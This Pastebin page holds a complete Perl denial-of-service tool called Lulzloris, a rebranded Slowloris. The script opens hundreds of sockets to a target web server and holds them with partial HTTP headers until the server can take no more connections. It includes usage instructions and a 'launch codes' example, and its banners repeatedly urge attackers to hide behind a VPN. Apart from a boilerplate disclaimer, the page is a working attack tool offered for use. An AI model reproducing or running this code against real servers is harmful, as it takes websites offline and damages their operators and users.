libdo

Untitled

Sep 16th, 2017
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl -w
  2. #Lulzloris is DDoS attack software that enables a single computer to take down a web server.
  3. #Original script (Slowloris)
  4. #DO NOT USE THIS TOOL WITHOUT A VPN!!!
  5.  
  6. use strict;
  7. use IO::Socket::INET;
  8. use IO::Socket::SSL;
  9. use Getopt::Long;
  10. use Config;
  11.  
  12. $SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors
  13.  
  14. print <<EOTEXT;
  15.                   Welcome to
  16.  
  17.     ██▓     █    ██  ██▓    ▒███████▒ ██▓     ▒█████   ██▀███   ██▓  ██████
  18.     ▓██▒     ██  ▓██▒▓██▒    ▒ ▒ ▒ ▄▀░▓██▒    ▒██▒  ██▒▓██ ▒ ██▒▓██▒▒██    ▒
  19.     ▒██░    ▓██  ▒██░▒██░    ░ ▒ ▄▀▒░ ▒██░    ▒██░  ██▒▓██ ░▄█ ▒▒██▒░ ▓██▄  
  20.     ▒██░    ▓▓█  ░██░▒██░      ▄▀▒   ░▒██░    ▒██   ██░▒██▀▀█▄  ░██░  ▒   ██▒
  21.     ░██████▒▒▒█████▓ ░██████▒▒███████▒░██████▒░ ████▓▒░░██▓ ▒██▒░██░▒██████▒▒
  22.     ░ ▒░▓  ░░▒▓▒ ▒ ▒ ░ ▒░▓  ░░▒▒ ▓░▒░▒░ ▒░▓  ░░ ▒░▒░▒░ ░ ▒▓ ░▒▓░░▓  ▒ ▒▓▒ ▒ ░
  23.     ░ ░ ▒  ░░░▒░ ░ ░ ░ ░ ▒  ░░░▒ ▒ ░ ▒░ ░ ▒  ░  ░ ▒ ▒░   ░▒ ░ ▒░ ▒ ░░ ░▒  ░ ░
  24.     ░ ░    ░░░ ░ ░   ░ ░   ░ ░ ░ ░ ░  ░ ░   ░ ░ ░ ▒    ░░   ░  ▒ ░░  ░  ░  
  25.     ░  ░   ░         ░  ░  ░ ░        ░  ░    ░ ░     ░      ░        ░  
  26.                          ░                                              
  27.             Distributed Denial Of Service
  28.  
  29. Legal Disclaimer: Usage of Lulzloris for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable  local, state and federal laws. Developers and Editors assume no liability and
  30. are not responsible for any misuse or damage caused by this program.
  31.  
  32. EOTEXT
  33. sleep 1;
  34. print <<EOTEXT;
  35. Lulzloris is DDoS attack software that enables a single computer to take down a web server. Due the simple yet elegant nature of this attack, it requires minimal bandwidth to implement and affects the target server’s web server only, with almost no side effects on other services and ports.
  36.  
  37. EOTEXT
  38.  
  39. my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections, $clenght );
  40. my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
  41. my $result = GetOptions(
  42.     'shost=s'   => \$shost,
  43.     'dns=s'     => \$host,
  44.     'httpready' => \$httpready,
  45.     'num=i'     => \$connections,
  46.     'cache'     => \$cache,
  47.     'port=i'    => \$port,
  48.     'https'     => \$ssl,
  49.     'tcpto=i'   => \$tcpto,
  50.     'test'      => \$test,
  51.     'timeout=i' => \$timeout,
  52.     'version'   => \$version,
  53.     'clenght'   => \$clenght,
  54. );
  55.  
  56. if ($version) {
  57.     print "Version Lulzloris 0.2\n";
  58.     exit;
  59. }
  60. sleep 2;
  61. unless ($host) {
  62.     print "Usage:\n\n\tLulzloris [options]\n";
  63.     print "\n\t-dns [www.target.tld] | the target IP or domain";
  64.     print "\n\t-port [80]            | the default port of the target webserver";
  65.     print "\n\t-num [500]            | number of sockets to open (Attack Power)";
  66.     print "\n\t-timeout [20]         | seconds each thread has to remain opened for";
  67.     print "\n\t-[SSL]                | use it for https webservers (usually with -port
  68.  
  69. Enter launch codes!
  70.  
  71. example: ./lulzloris -dns example.com -port 80 -timeout 240 -num 500 -tcp 5";
  72.     print "\n\nWARNING: Do Not use this tool without a VPN!!!\n\n";
  73.     exit;
  74. }
  75.  
  76. unless ($port) {
  77.     $port = 80;
  78.     print "Defaulting to port 80.\n";
  79. }
  80.  
  81. unless ($tcpto) {
  82.     $tcpto = 5;
  83.     print "Defaulting to a 5 second tcp connection timeout.\n";
  84. }
  85.  
  86. unless ($test) {
  87.     unless ($timeout) {
  88.         $timeout = 20;
  89.         print "Defaulting to a 20 second re-try timeout.\n";
  90.     }
  91.     unless ($connections) {
  92.         $connections = 1000;
  93.         print "Defaulting to 1000 connections.\n";
  94.     }
  95. }
  96.  
  97. my $usemultithreading = 0;
  98. if ( $Config{usethreads} ) {
  99.     print "Multithreading enabled.\n";
  100.     $usemultithreading = 1;
  101.     use threads;
  102.     use threads::shared;
  103. }
  104. else {
  105.     print "No multithreading capabilites found!\n";
  106.     print "Lulzloris will be slower than normal as a result.\n";
  107. }
  108.  
  109. my $packetcount : shared     = 0;
  110. my $failed : shared          = 0;
  111. my $connectioncount : shared = 0;
  112.  
  113. srand() if ($cache);
  114.  
  115. if ($shost) {
  116.     $sendhost = $shost;
  117. }
  118. else {
  119.     $sendhost = $host;
  120. }
  121. if ($httpready) {
  122.     $method = "POST";
  123. }
  124. else {
  125.     $method = "GET";
  126. }
  127.  
  128. if ($test) {
  129.     my @times = ( "2", "30", "90", "240", "500" );
  130.     my $totaltime = 0;
  131.     foreach (@times) {
  132.         $totaltime = $totaltime + $_;
  133.     }
  134.     $totaltime = $totaltime / 60;
  135.     print "This test could take up to $totaltime minutes.\n";
  136.  
  137.     my $delay   = 0;
  138.     my $working = 0;
  139.     my $sock;
  140.  
  141.     if ($ssl) {
  142.         if (
  143.             $sock = new IO::Socket::SSL(
  144.                 PeerAddr => "$host",
  145.                 PeerPort => "$port",
  146.                 Timeout  => "$tcpto",
  147.                 Proto    => "tcp",
  148.             )
  149.           )
  150.         {
  151.             $working = 1;
  152.         }
  153.     }
  154.     else {
  155.         if (
  156.             $sock = new IO::Socket::INET(
  157.                 PeerAddr => "$host",
  158.                 PeerPort => "$port",
  159.                 Timeout  => "$tcpto",
  160.                 Proto    => "tcp",
  161.             )
  162.           )
  163.         {
  164.             $working = 1;
  165.         }
  166.     }
  167.     if ($working) {
  168.         if ($cache) {
  169.             $rand = "?" . int( rand(99999999999999) );
  170.         }
  171.         else {
  172.             $rand = "";
  173.         }
  174.         my $clenghtx=0;
  175.         if(! $clenght)
  176.         {
  177.                 $clenghtx = "42";
  178.         }
  179.         else
  180.         {
  181.                 $clenghtx = $clenght;
  182.         }
  183.         my $primarypayload =
  184.             "GET /$rand HTTP/1.1\r\n"
  185.           . "Host: $sendhost\r\n"
  186.           . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  187.           . "Content-Length: $clenghtx\r\n";
  188.         if ( print $sock $primarypayload ) {
  189.             print "Connection successful, just a few more moments, please wait...\n";
  190.         }
  191.         else {
  192.             print
  193. "That's odd - I connected but couldn't send the data to $host:$port.\n";
  194.             print "Is something wrong?\nDying.\n";
  195.             exit;
  196.         }
  197.     }
  198.     else {
  199.         print "Sorry... I can't connect to $host:$port.\n";
  200.         print "Is something wrong?\nDying.\n";
  201.         exit;
  202.     }
  203.     for ( my $i = 0 ; $i <= $#times ; $i++ ) {
  204.         print "Trying a $times[$i] second delay: \n";
  205.         sleep( $times[$i] );
  206.         if ( print $sock "X-a: b\r\n" ) {
  207.             print "\tWorked.\n";
  208.             $delay = $times[$i];
  209.         }
  210.         else {
  211.             if ( $SIG{__WARN__} ) {
  212.                 $delay = $times[ $i - 1 ];
  213.                 last;
  214.             }
  215.             print "\tFailed after $times[$i] seconds.\n";
  216.         }
  217.     }
  218.  
  219.     if ( print $sock "Connection: Close\r\n\r\n" ) {
  220.         print "Okay that's enough time. Lulzloris closed the socket.\n";
  221.         print "Use $delay seconds for -timeout.\n";
  222.         exit;
  223.     }
  224.     else {
  225.         print "Remote server closed socket.\n";
  226.         print "Use $delay seconds for -timeout.\n";
  227.         exit;
  228.     }
  229.     if ( $delay < 166 ) {
  230.         print <<EOSUCKS2BU;
  231. Since the timeout ended up being so small ($delay seconds) and it generally
  232. takes between 200-500 threads for most servers and assuming any latency at
  233. all...  you might have trouble using Lulzloris against this target.  You can
  234. tweak the -timeout flag down to less than 10 seconds but it still may not
  235. build the sockets in time.
  236. EOSUCKS2BU
  237.     }
  238. }
  239. else {
  240.     print
  241. "Connecting to $host:$port every $timeout seconds with $connections sockets:\n";
  242.  
  243.     if ($usemultithreading) {
  244.         domultithreading($connections);
  245.     }
  246.     else {
  247.         doconnections( $connections, $usemultithreading );
  248.     }
  249. }
  250.  
  251. sub doconnections {
  252.     my ( $num, $usemultithreading ) = @_;
  253.     my ( @first, @sock, @working );
  254.     my $failedconnections = 0;
  255.     $working[$_] = 0 foreach ( 1 .. $num );    #initializing
  256.     $first[$_]   = 0 foreach ( 1 .. $num );    #initializing
  257.     while (1) {
  258.         $failedconnections = 0;
  259.         print "\t\tLoading Pew->->-> Pew->->->.\n";
  260.         foreach my $z ( 1 .. $num ) {
  261.             if ( $working[$z] == 0 ) {
  262.                 if ($ssl) {
  263.                     if (
  264.                         $sock[$z] = new IO::Socket::SSL(
  265.                             PeerAddr => "$host",
  266.                             PeerPort => "$port",
  267.                             Timeout  => "$tcpto",
  268.                             Proto    => "tcp",
  269.                         )
  270.                       )
  271.                     {
  272.                         $working[$z] = 1;
  273.                     }
  274.                     else {
  275.                         $working[$z] = 0;
  276.                     }
  277.                 }
  278.                 else {
  279.                     if (
  280.                         $sock[$z] = new IO::Socket::INET(
  281.                             PeerAddr => "$host",
  282.                             PeerPort => "$port",
  283.                             Timeout  => "$tcpto",
  284.                             Proto    => "tcp",
  285.                         )
  286.                       )
  287.                     {
  288.                         $working[$z] = 1;
  289.                         $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
  290.                     }
  291.                     else {
  292.                         $working[$z] = 0;
  293.                     }
  294.                 }
  295.                 if ( $working[$z] == 1 ) {
  296.                     if ($cache) {
  297.                         $rand = "?" . int( rand(99999999999999) );
  298.                     }
  299.                     else {
  300.                         $rand = "";
  301.                     }
  302.                     my $primarypayload =
  303.                         "$method /$rand HTTP/1.1\r\n"
  304.                       . "Host: $sendhost\r\n"
  305.                       . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  306.                       . "Content-Length: 42\r\n";
  307.                     my $handle = $sock[$z];
  308.                     if ($handle) {
  309.                         print $handle "$primarypayload";
  310.                         if ( $SIG{__WARN__} ) {
  311.                             $working[$z] = 0;
  312.                             close $handle;
  313.                             $failed++;
  314.                             $failedconnections++;
  315.                         }
  316.                         else {
  317.                             $packetcount++;
  318.                             $working[$z] = 1;
  319.                         }
  320.                     }
  321.                     else {
  322.                         $working[$z] = 0;
  323.                         $failed++;
  324.                         $failedconnections++;
  325.                     }
  326.                 }
  327.                 else {
  328.                     $working[$z] = 0;
  329.                     $failed++;
  330.                     $failedconnections++;
  331.                 }
  332.             }
  333.         }
  334.         print "\t\tSending data.\n";
  335.         foreach my $z ( 1 .. $num ) {
  336.             if ( $working[$z] == 1 ) {
  337.                 if ( $sock[$z] ) {
  338.                     my $handle = $sock[$z];
  339.                     if ( print $handle "X-a: b\r\n" ) {
  340.                         $working[$z] = 1;
  341.                         $packetcount++;
  342.                     }
  343.                     else {
  344.                         $working[$z] = 0;
  345.                         #debugging info
  346.                         $failed++;
  347.                         $failedconnections++;
  348.                     }
  349.                 }
  350.                 else {
  351.                     $working[$z] = 0;
  352.                     #debugging info
  353.                     $failed++;
  354.                     $failedconnections++;
  355.                 }
  356.             }
  357.         }
  358.         print
  359. "Current stats:\tSent $packetcount packets successfully.\nSleeping for $timeout seconds...\n\n";
  360.         sleep($timeout);
  361.     }
  362. }
  363.  
  364. sub domultithreading {
  365.     my ($num) = @_;
  366.     my @thrs;
  367.     my $i                    = 0;
  368.     my $connectionsperthread = 50;
  369.     while ( $i < $num ) {
  370.         $thrs[$i] =
  371.           threads->create( \&doconnections, $connectionsperthread, 1 );
  372.         $i += $connectionsperthread;
  373.     }
  374.     my @threadslist = threads->list();
  375.     while ( $#threadslist > 0 ) {
  376.         $failed = 0;
  377.     }
  378. }
  379.  
  380. __END__
Add Comment
Please, Sign In to add comment